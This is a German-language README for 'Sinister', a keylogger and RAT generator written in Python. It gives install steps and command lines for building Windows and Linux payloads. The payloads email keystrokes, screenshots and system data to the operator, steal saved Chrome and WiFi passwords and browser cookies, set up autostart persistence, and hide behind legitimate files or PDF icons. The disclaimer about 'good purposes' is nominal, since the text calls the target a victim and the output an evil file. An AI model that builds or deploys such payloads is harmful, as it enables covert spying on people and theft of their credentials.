
Sinister ist ein Windows/Linux-Keylogger-Generator, der Tastenanschläge per E-Mail zusammen mit anderen interessanten Zielinformationen sendet.
Dieses kleine Python-Skript kann wirklich tolle Arbeit leisten.
Sinister ist ein Keylogger-Generator für Windows/Linux, der Key-Logs und Screenshots per E-Mail sendet, zusammen mit anderen nützlichen Zielinformationen, geschrieben in Python 3.
:computer: Dieses Projekt wurde nur für gute Zwecke und den persönlichen Gebrauch erstellt.
DIESE SOFTWARE WIRD OHNE JEGLICHE GEWÄHRLEISTUNG BEREITGESTELLT. SIE NUTZEN DIESE SOFTWARE AUF EIGENES RISIKO. DIE NUTZUNG LIEGT IN DER VOLLEN VERANTWORTUNG DES ENDNUTZERS. DIE ENTWICKLER ÜBERNEHMEN KEINE HAFTUNG UND SIND NICHT VERANTWORTLICH FÜR MISSBRAUCH ODER SCHÄDEN, DIE DURCH DIESES PROGRAMM VERURSACHT WERDEN.
| Servername | SMTP-Server | SMTP-Port |
|---|---|---|
| GMAIL | smtp.gmail.com | 587 |
| OUTLOOK | smtp-mail.outlook.com | 587 |
| YAHOO | smtp.mail.yahoo.com | 587 |
| Der integrierte Stealer kann diese Dinge stehlen: |
|---|
| Chrome-Browser (gespeicherte Passwörter) |
| WiFi (gespeicherte Passwörter) |
| Chrome-Cookies (Login-Daten, Cookies, Verlauf) |
| Firefox-Cookies (cookies.sqlite) |
| Diese Dinge werden erfasst und gesendet: |
|---|
| Betriebssystem |
| Computername |
| Benutzername |
| Öffentliche IPv4 |
Am 30. Mai 2022 hat Google die Funktion für weniger sichere Apps entfernt. Verwenden Sie daher statt des Gmail-Passworts:
anwendungsspezifische Passwort beim Erstellen der Payload.# Navigieren Sie zum /opt-Verzeichnis (optional)
$ cd /opt/
# Klonen Sie dieses Repository
$ git clone https://github.com/PushpenderIndia/Sinister.git
# Navigieren Sie zum Sinister-Ordner
$ cd Sinister
# Abhängigkeiten installieren
$ bash installer_linux.sh
*** Hinweis: Wenn während der Ausführung von installer_linux.sh das Python-Installationsdialogfeld erscheint ***
* Klicken Sie auf "Benutzerdefinierte Installation"
* Wählen Sie Pfad zu: C:/Python37-32
### Damit Python in diesem Pfad installiert wird (in Wine): ~/.wine/drive_c/Python37-32
# Falls Sie Fehler bei der Ausführung von installer_linux.sh erhalten, versuchen Sie die Installation mit installer_linux.py
$ python3 installer_linux.py
$ chmod +x Sinister.py
$ python3 Sinister.py --help
# Payload/RAT erstellen
$ python3 Sinister.py -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path
# Payload mit GMAIL SMTP-Server, Port-Konfiguration (Standards: SMTP-Server = smtp.gmail.com, SMTP-Port = 587)
$ python3 Sinister.py -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path
# Payload mit OUTLOOK SMTP-Server, Port-Konfiguration
$ python3 Sinister.py -e [email protected] -p YourEmailPass -x smtp-mail.outlook.com -y 587 -l -o output_file_name --icon icon_path
# Payload mit YAHOO SMTP-Server, Port-Konfiguration
$ python3 Sinister.py -e [email protected] -p YourEmailPass -x smtp.mail.yahoo.com -y 587 -l -o output_file_name --icon icon_path
Hinweis: Sie können auch unsere benutzerdefinierten Icons aus dem icon-Ordner verwenden, z.B. --icon icon/pdf.ico
# Abhängigkeiten installieren
$ Installieren Sie die neueste Python 3.x
# Klonen Sie dieses Repository
$ git clone https://github.com/PushpenderIndia/Sinister.git
# Wechseln Sie in das Repository
$ cd Sinister
# Abhängigkeiten installieren
$ python -m pip install -r requirements.txt
# Öffnen Sie Sinister.py in einem Texteditor und konfigurieren Sie Zeile 16: WINDOWS_PYTHON_PYINSTALLER_PATH = "C:/Python37-32/Scripts/pyinstaller.exe"
# Hilfemenü anzeigen
$ python Sinister.py --help
# Payload/RAT erstellen
$ python Sinister.py -e [email protected] -p YourEmailPass -w -o output_file_name --icon icon_path
# Payload mit GMAIL SMTP-Server, Port-Konfiguration (Standards: SMTP-Server = smtp.gmail.com, SMTP-Port = 587)
$ python Sinister.py -e [email protected] -p YourEmailPass-w -o output_file_name --icon icon_path
# Payload mit OUTLOOK SMTP-Server, Port-Konfiguration
$ python Sinister.py -e [email protected] -p YourEmailPass -x smtp-mail.outlook.com -y 587 -w -o output_file_name --icon icon_path
# Payload mit YAHOO SMTP-Server, Port-Konfiguration
$ python Sinister.py -e [email protected] -p YourEmailPass -x smtp.mail.yahoo.com -y 587 -w -o output_file_name --icon icon_path
Hinweis: Sie können auch unsere benutzerdefinierten Icons aus dem icon-Ordner verwenden, z.B. --icon icon/pdf.ico
















Versuchen Sie, den Offline-Keylogger auszuführen, um das Offline-Keylogging zu testen und Keylogger-Probleme zu debuggen, indem Sie diese Befehle ausführen:
Führen Sie test_key.py in beiden Modi [Kompiliert & Roh] aus und finden Sie den Fehler heraus.
Führen Sie es so aus: python test_key.py
Kompilieren Sie es auch so:
pyinstaller --onefile test_key.py --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=pynput.keyboard
Nach dem Ausführen beginnen Sie mit der Eingabe von etwas, Das Ergebnis wird nach jeweils 10 Sekunden auf der Kommandozeile angezeigt.
Die Dateien des Offline-Keyloggers befinden sich im Ordner TestKeylogger
1. Erstellen Sie eine neue Payload mit dem Flag --debug
2. Führen Sie die Payload-EXE über die Eingabeaufforderung aus [Nicht durch Doppelklick ausführen]
3. Es wird nun ein besserer Fehler in CMD angezeigt. Posten Sie das Problem im Issue-Bereich.
Öffnen Sie die Autostart-Datei mit einem Texteditor. Autostart-Dateipfad: ~/.config/autostart/xinput.desktop
Entfernen Sie diese 5 Zeilen:
[Desktop Entry]
Type=Application
X-GNOME-Autostart-enabled=true
Name=Xinput
Exec="destination_file_name"
Hinweis: destination_file_name ist der Name der bösen Datei, den Sie Ihrem Keylogger mit dem Parameter -o gegeben haben.
Starten Sie Ihr System neu und löschen Sie dann die böse Datei, die unter diesem Pfad gespeichert ist:
Zielpfad, wo der Keylogger gespeichert ist: ~/.config/xnput
Beiträge jeder Art sind willkommen!
HINWEIS: Sollten Sie auf der Liste der Beitragenden stehen, aber wir haben Sie vergessen, dann lassen Sie es uns bitte wissen!
| Kurzform | Vollständige Form | Beschreibung |
|---|
| -h | --help | Zeigt diese Hilfemeldung an und beendet das Programm |
| -i INTERVAL | --interval INTERVAL | Zeit zwischen Berichten in Sekunden. Standard=120 |
| -t TIME_PERSISTENT | --persistence TIME_PERSISTENT | Persistenz nach __ Sekunden herstellen. Standard=10 |
| -x SMTP_Server | --smtp | Benutzerdefinierter SMTP-Server. Standard="smtp.gmail.com" |
| -y SMTP_Port | --port | Benutzerdefinierter SMTP-Port. Standard=587 |
| -w | --windows | Erzeuge eine Windows-Ausführbare Datei. |
| -l | --linux | Erzeuge eine Linux-Ausführbare Datei. |
| -s | --steal-password | Gespeicherte Passwörter vom Opferrechner stehlen [Unterstütztes BS: Windows] |
| -b datei.txt | --bind LEGITIMATE_FILE_PATH.pdf | AutoBinder: Pfad einer legitimen Datei angeben. [Unterstütztes BS: Windows] |
| -d | --debug | Payload wird im Vordergrund mit CMD-Fenster ausgeführt, um geeignete Ausführungsfehler zu erhalten |
| Kurzform | Vollständige Form | Beschreibung |
|---|
| --icon ICON | Icon-Pfad angeben, Icon der bösen Datei [Hinweis: Muss .ico sein] | |
| -e EMAIL | --email EMAIL | E-Mail-Adresse, an die Berichte gesendet werden. |
| -p PASSWORD | --password PASSWORD | Passwort für die im Argument -e angegebene E-Mail-Adresse. |
| -o OUT | --out OUT | Name der Ausgabedatei. |
![]() Pushpender Singh :computer: |
![]() Thomas Kunwar :computer: |
![]() krasnova19 :computer: |
![]() sarchish5 :computer: |
![]() chiragcode11 :computer: |
![]() C4RR0T02 :computer: |